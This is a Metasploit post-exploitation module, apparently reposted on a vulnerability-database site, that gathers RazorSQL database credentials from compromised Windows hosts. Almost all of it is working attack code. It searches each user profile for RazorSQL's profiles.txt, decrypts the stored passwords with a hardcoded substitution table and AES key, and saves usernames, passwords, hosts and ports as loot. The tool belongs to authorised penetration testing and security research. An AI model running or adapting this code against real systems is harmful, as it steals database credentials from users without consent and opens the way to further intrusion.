##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather RazorSQL Credentials',
'Description' => %q{
This module stores username, password, type, host, port, database (and name)
collected from profiles.txt of RazorSQL.
},
'License' => MSF_LICENSE,
'Author' => [
'Paul Rascagneres <rascagneres[at]itrust.lu>',
'sinn3r' # Reporting, file parser
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_stat
]
}
}
)
)
end
def get_profiles
profiles = []
grab_user_profiles.each do |user|
next unless user['ProfileDir']
['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
file = "#{user['ProfileDir']}\\#{profile_path}"
profiles << file if file?(file)
end
end
profiles
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status('Checking All Users...')
creds_tbl = Rex::Text::Table.new(
'Header' => 'RazorSQL User Credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Type',
'Host',
'Port',
'Database Name',
'Database'
]
)
get_profiles.each do |profile_path|
content = get_content(profile_path)
next if content.blank?
parse_content(creds_tbl, content).each do |cred|
creds_tbl << cred
end
end
if creds_tbl.rows.empty?
print_status('No creds collected.')
else
path = store_loot(
'razor.user.creds',
'text/csv',
session,
creds_tbl.to_s,
'razor_user_creds.txt',
'RazorSQL User Credentials'
)
print_line(creds_tbl.to_s)
print_status("User credentials stored in: #{path}")
end
end
def get_content(file)
found = begin
session.fs.file.stat(file)
rescue StandardError
nil
end
return if !found
content = ''
infile = session.fs.file.new(file, 'rb')
content << infile.read until infile.eof?
return content
end
def parse_content(_table, content)
creds = []
content = content.split(/\(\(Z~\]/)
content.each do |db|
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
user = (db.scan(/user=(.*)/).flatten[0] || '').strip
type = (db.scan(/type=(.*)/).flatten[0] || '').strip
host = (db.scan(/host=(.*)/).flatten[0] || '').strip
port = (db.scan(/port=(.*)/).flatten[0] || '').strip
dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
pass = (db.scan(/password=(.*)/).flatten[0] || '').strip
# Decrypt if there's a password
unless pass.blank?
if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
decrypted_pass = decrypt_v2(::Regexp.last_match(1))
else
decrypted_pass = decrypt(pass)
end
end
pass = decrypted_pass || pass
# Store data
creds << [user, pass, type, host, port, dbname, database]
# Don't report if there's nothing to report
next if user.blank? && pass.blank?
report_cred(
ip: rhost,
port: port.to_i,
service_name: database,
user: user,
password: pass
)
end
return creds
end
def decrypt(encrypted_password)
magic_key = {
'/' => 'a', '<' => 'b', '>' => 'c', ':' => 'd', 'X' => 'e',
'c' => 'f', 'W' => 'g', 'd' => 'h', 'V' => 'i', 'e' => 'j',
'f' => 'k', 'g' => 'l', 'U' => 'm', 'T' => 'n', 'S' => 'o',
'n' => 'p', 'm' => 'q', 'l' => 'r', 'k' => 's', 'j' => 't',
'i' => 'u', 'h' => 'v', 'P' => 'w', 'Q' => 'x', 'R' => 'y',
'o' => 'z', 'p' => 'A', 'q' => 'B', 'r' => 'C', 't' => 'D',
's' => 'E', 'L' => 'F', 'M' => 'H', 'O' => 'I', 'N' => 'J',
'J' => 'K', 'v' => 'L', 'u' => 'M', 'z' => 'N', 'y' => 'O',
'w' => 'P', 'x' => 'Q', 'G' => 'R', 'H' => 'S', 'A' => 'T',
'B' => 'U', 'D' => 'V', 'C' => 'W', 'E' => 'X', 'F' => 'Y',
'I' => 'Z', '?' => '1', '3' => '2', '4' => '3', '5' => '4',
'6' => '5', '7' => '6', '8' => '7', '9' => '8', '2' => '9',
'.' => '0', '+' => '+', '"' => '"', '*' => '*', '%' => '%',
'&' => '&', 'Z' => '/', '(' => '(', ')' => ')', '=' => '=',
',' => '?', '!' => '!', '$' => '$', '-' => '-', '_' => '_',
'b' => ':', '0' => '.', ';' => ';', '1' => ',', '\\' => '\\',
'a' => '<', 'Y' => '>', "'" => "'", '^' => '^', '{' => '{',
'}' => '}', '[' => '[', ']' => ']', '~' => '~', '`' => '`'
}
password = ''
for letter in encrypted_password.chomp.each_char
char = magic_key[letter]
# If there's a nil, it indicates our decryption method does not work for this version.
return nil if char.nil?
password << char
end
password
end
def decrypt_v2(encrypted)
enc = Rex::Text.decode_base64(encrypted)
key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')
aes = OpenSSL::Cipher.new('AES-128-CBC')
aes.decrypt
aes.key = key
aes.update(enc) + aes.final
end
end
=begin
http://www.razorsql.com/download.html
Tested on: v5.6.2 (win32)
=end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation